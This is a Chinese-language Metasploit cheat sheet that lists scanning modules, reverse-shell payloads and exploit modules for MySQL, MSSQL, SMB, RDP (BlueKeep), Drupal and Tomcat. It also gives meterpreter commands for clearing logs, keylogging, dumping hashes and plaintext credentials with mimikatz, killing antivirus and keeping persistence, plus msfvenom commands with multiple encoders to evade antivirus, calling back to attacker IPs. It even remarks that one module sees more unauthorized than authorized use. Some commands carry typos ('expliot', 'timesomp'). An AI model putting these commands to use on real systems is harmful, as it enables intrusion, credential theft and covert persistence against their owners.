1.首先基於MSF的資產收集
網絡主機收集:
use auxiliary/scanner/discovery/udp_probe
use auxiliary/scanner/discovery/udp_sweep
use auxiliary/scanner/discovery/arp_sweep
use auxiliary/scanner/dns/dns_amp 基於DNS找存活主機,端口為53
use auxiliary/scanner/netbios/nbname 基於nbname找存活主機,端口為137
use auxiliary/scanner/http/title 端口為80

use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/tcp 指定網段探尋端口
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/xmas
內網服務收集:
搜尋http服務:use auxiliary/scanner/http/http_version 端口80
搜尋smb服務:use auxiliary/scanner/smb/smb_version 端口445
搜尋ftp服務: use auxiliary/scanner/ftp/ftp_version 端口21
搜尋ssh服務: use auxiliary/scanner/ssh/ssh_version 端口22
搜尋talnet服務: use auxiliary/scanner/telnet/telnet_version 端口23
搜尋mysql服務: use auxiliary/scanner/mysql/mysql_version 端口3306
搜尋db2服務: use auxiliary/scanner/db2/db2_version 端口50000
搜尋rdp服務:use auxiliary/scanner/rdp/rdp_scanner 端口3389
搜尋smtp服務:use auxiliary/scanner/smtp/smtp_version 端口25
2.關於MSF攻擊的命令
1.首先關於msf常用的payload
windows:
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/meterpreter/reverse_hop_http
windows/meterpreter/reverse_http
windows/meterpreter/reverse_http_proxy_pstore
windows/meterpreter/reverse_https
windows/meterpreter/reverse_https_proxy
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp
linux:
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell_bind_tcp_random_port
linux/x64/shell_reverse_tcp
2.關於mysql
use auxiliary/scanner/mysql/mysql_login 用於內網中的批量以及單主機的登錄測試(可用作暴力破解)。
use exploit/multi/mysql/mysql_udf_payload 用於root啟動的mysql 並root的udf提權.
需設置payload: set payload windows/meterpreter/bind_tcp
use exploit/windows/mysql/mysql_mof 提權,與udf類似
use auxiliary/scanner/mssql/mssql_ping 這個也可以用來掃描mssql服務。
use exploit/windows/mysql/scrutinizer_upload_exec 上傳文件執行。
use auxiliary/admin/mysql/mysql_sql 執行sql語句
3.關於sqlserver
use auxiliary/admin/mssql/mssql_enum 可以看見非常詳細的sqlserver信息
use auxiliary/admin/mssql/mssql_enum_sql_logins 枚舉sql logins,速度較慢
use auxiliary/admin/mssql/mssql_escalate_dbowner 發現dbowner,當sa無法得知密碼的時候,或者需要其他賬號提供來支撐下一步的內網滲透 ??????
use auxiliary/admin/mssql/mssql_exec 當沒有激活xp_cmdshell,自動激活。並且調用執行cmd命令 權限繼承 Sql server。
用法:
set CMD cmd.exe /c whoami即可 然后exploit/run
use auxiliary/admin/mssql/mssql_sql 如果熟悉Sql server 數據庫特性,以及sql語句,使用該模塊
use auxiliary/admin/mssql/mssql_sql_file 當需要執行多條sql語句的時候,或者非常復雜。msf本身支持執行sql文件。授權滲透應用 較少,非授權應用較多的模塊。
use use auxiliary/scanner/mssql/mssql_login 批量發現內網mssql主機
use exploit/windows/mssql/mssql_payload 非常好的模塊之一,在實戰中。針對不同時間版本的系統都有着自己獨特的方式來上傳 payload。
use exploit/windows/misc/hta_server //使用hta提權到msf上 然后在目標機器上執行mshta.exe
http://VPS_IP:8080/IAKWSlu.hta
3.關於FTP
use auxiliary/scanner/ftp/ftp_login 於內網中的批量以及單主機的登錄測試。
use auxiliary/scanner/ftp/anonymous 發現存活的ftp主機,是否存在匿名登錄
ps:在該模塊下,可以使用nmap來輔佐, db_nmap -sS -T4 -p21 192.168.1.0/24
use auxiliary/fuzzers/ftp/ftp_pre_post ftp本地模糊測試輔助模塊
4.關於smb
use exploit/windows/smb/smb_login //爆破smb
use exploit/windows/smb/smb_scanner //爆破smb
use exploit/windows/smb/psexec_psh 跟psexec差不多,抓hash
use auxiliary/admin/smb/psexec_ntdsgrab //抓取ntds.dit和sysyem, hiv文件
use exploit/windows/smb/smb_relay //smb中繼攻擊,實質是ms08_068,監聽端口,在域內執行ipc時會被抓hash
use auxiliary/server/capture/smb //抓取hash
5.關於RDP
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce //cve 0708
use exploit/multi/vnc/vnc_keyboard_exec //關於vnc的
6.其他
1.use exploit/multi/handler //msf監聽模塊
exploit/multi/script/web_delivery //基於Powershell的
2.use exploit/windows/smb/psexec //利用msf啟動psexec
3.use exploit/windows/smb/psexec_psh //pass hash
4.use exploit/windows/local/ms15_051_client_copy_image //利用ms15_051
5.use exploit/windows/local/bypassuac //繞過uac,一般繞不過去
6.use post/windows/gather/hashdump //抓hash
7.use post/windows/gather/smart_hashdump //導出hash,須有system權限
8.use exploit/windows/local/always_install_elevated //提權
9.use exploit/windows/fileformat/office_word_hta //利用.rtf文件生成可執行的.hta腳本來托管
10.use exploit/multi/samba/usermap_script //samba的exp
11.use exploit/unix/irc/unreal_ircd_3281_backdoor //IRC服務,端口6697的EXP
12.use exploit/multi/http/playsms_uploadcsv_exec //playsms的RCE的EXP
13.use expliot/unix/webapp/drupal_drupalgeddon2 //drupal的exp
14.use auxiliary/scanner/redis/file_upload normal Redis File Upload
15.use auxiliary/scanner/redis/redis_login normal Redis Login Utility
16.use auxiliary/scanner/redis/redis_server normal Redis Command Execute Scanner
17.use exploit/multi/http/jenkins_script_console //jenkins的exp
18.use auxiliary/scanner/nfs/nfsmount //關於2049 nfs的
19.use exploit/windows/iis/iis_webdav_scstoragepathfromurl //iis的exp
20.use exploit/multi/script/web_delivery //關於轉化shell的,假如用koadic打下來的,可以轉到msf
21.use exploit/multi/http/moodle_cmd_exec //moodle的exp
22.use post/multi/recon/local_exploit_suggester //對比打了哪些補丁,能否提權
23.use exploit/multi/browser/firefox_proto_crmfrequest //關於瀏覽器攻擊拿shell的
24.use exploit/multi/http/tomcat_mgr_deploy //登入tomcat后布置war包拿shell
25.use exploit/multi/http/lcms_php_exec //lotuscms的exp
26.use auxiliary/admin/http/joomla_registration_privesc //關於joomla的掃描
27.use exploit/multi/misc/java_jmx_server //關於jmx的反序列化
3.關於MSF的端口轉發:
1.基於portfwd的端口轉發
這個需要跳到meterpreter,首先use exploit/multi/handler
然后在set PAYLOAD windows/meterpreter/reverse_tcp
若靶機的ip為192.168.1.119 需要轉發的端口為80,3389。
我們可以session -i查看反彈回來的機器,session -i 具體數字選擇進入相應的交互模式
portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389
portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80

portfwd

Windows 7 分別訪問攻擊機33389,30080,既等價訪問靶機3389,80
4.關於meterpreter的使用技巧.
1.clearev //清除日志
2.getsystem //提權
3.keyscan_start && keyscan_dump //記錄鍵盤
4.migrate -p 2108 //遷移進程,如果失敗,可嘗試load stdapi
5.screenhot //截屏
6.download c:\\users\\1.txt /home/Desktop //下載,后面是自己的位置
7.upload /home/Desktop/1.php c:\\users\\desktop//上傳,后面是靶機的位置。
8.execute -f notepad.exe //執行命令
9.shell //返回交互式命令行界面
10.load incognito //加載incognito
11.load powershell&&powershell_shell //加載powershell插件&&以Powershell的格式來提示而不是cmd的形式。
12.exploit/windows/local/registry_persistence
exploit/windows/local/vss_persistence
exploit/windows/local/s4u_persistence //利用給注冊表加載shellcode,然后再用ps加載,運行meterpreter
13.load mimikatz //加載mimikatz
meterpreter > load mimikatz #加載mimikatz
meterpreter > msv #獲取hash值
meterpreter > kerberos #獲取明文
meterpreter >ssp #獲取明文信息
meterpreter > wdigest #獲取系統賬戶信息
meterpreter >mimikatz_command -f a:: #必須要以錯誤的模塊來讓正確的模塊顯示
meterpreter >mimikatz_command -f hash:: #獲取目標 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
14.run post/windows/gather/checkvm //查看是否是虛擬機
run post/windows/gather/smart_hashdump //查看hash
run post/windows/gather/enum_ie //查看瀏覽器的cookie,訪問記錄
run killav //關殺軟進程
run vnc //檢測對方桌面
run persistence -U -i 30 -p 2333 攻擊機ip //維持權限 U用戶登錄時啟動后門,X是系統啟動時。 i是shell交互的時間
15.load powershell
powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS Copy-VSS -DestinationDir C:\
5.關於MSF的免殺
1.首先說說關於修改文件的屬性
修改文件屬性就是修改文件的MACE值,可以幫助掩蓋文件在系統上的活動。
1.首先使用Timestomp修改文件屬性
timesomp 1.txt -v :查看文件的屬性
timesomp 1.txt -b :清空文件所有屬性
timesomp 1.txt ./ -r : 歸地清空當前目錄中的所有文件
timesomp 1.txt -m :修改文件屬性
2.關於用msfvenom繞殺軟:
(1)嘗試使用不同的編碼器對stage進行編碼,可能繞過部分殺軟的查殺(mutil/handler里頭)
msfvenom -p windows/meterpreter/reverse_https
使用reverse_https等payload可以換成anti symantec,然后在mutil/handle設置
1.set EnableStageEncoding true
2.set stageencoder x86/fnstenv_mov
3.set stageencodingfallback false
(2)在msfvenom里面加上-e x86/shikata_ga_nai -i 5 加上這2個參數
(3)在msfvenom里面加上-x notepad.exe
(4)msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=10.211.55.2 lport=3333 RC4PASSWORD=xinxin -f c
(5)msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe //多次編碼
(6)先去下載一個壓縮軟件 wget xxxxx/xxx/xxx/xx.zip 然后用unzip解壓
msfvenom -p windows/shell_reverse_tcp LHOST=(ip) LPORT=8080-e x86/shikata_ga_nai -x Desktop/procexp.exe -i 5 -f exe -o /Desktop/backdoor.exe 以解壓的exe做為模板
set paylaod windows/shell/reverse_tcp
6.關於msfvenom命令
1.msfvenom -f msi -p windows/exec CMD=calc.exe>test.msi //制作生成包
2.msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4444 -f psh-reflection -o xinxin.ps1 //生成ps的paylaod
3.-e cmd/powershell_base64 //在cmd中運行,彈回powershell
4.msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f raw -o x86_shell.war //部署java的war包
6.4
7.MSF能加載的其他軟件
1.sqlmap load sqlmap
2.incognito load incognito
3.nmap load nmap
8.關於MSF的后滲透
1.msf exploit(multi/handler) > set ExitOnSession false //經常會遇到假session或者剛連接就斷開的情況,經常會遇到假session或者剛連接就斷開的情況
2.set SessionCommunicationTimeout 0 //默認情況下,如果一個會話將在5分鍾(300秒)沒有任何活動,那么它會被殺死,為防止此情況可將此項修改為0
3.set SessionExpirationTimeout 0 //默認情況下,一個星期(604800秒)后,會話將被強制關閉,修改為0可永久不會被關閉
4.msf exploit(multi/handler) > exploit -j -z //在后台持續監聽,-j是后台任務,-z是持續監聽 jobs -k是全部結束。handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp 也可以這樣
5.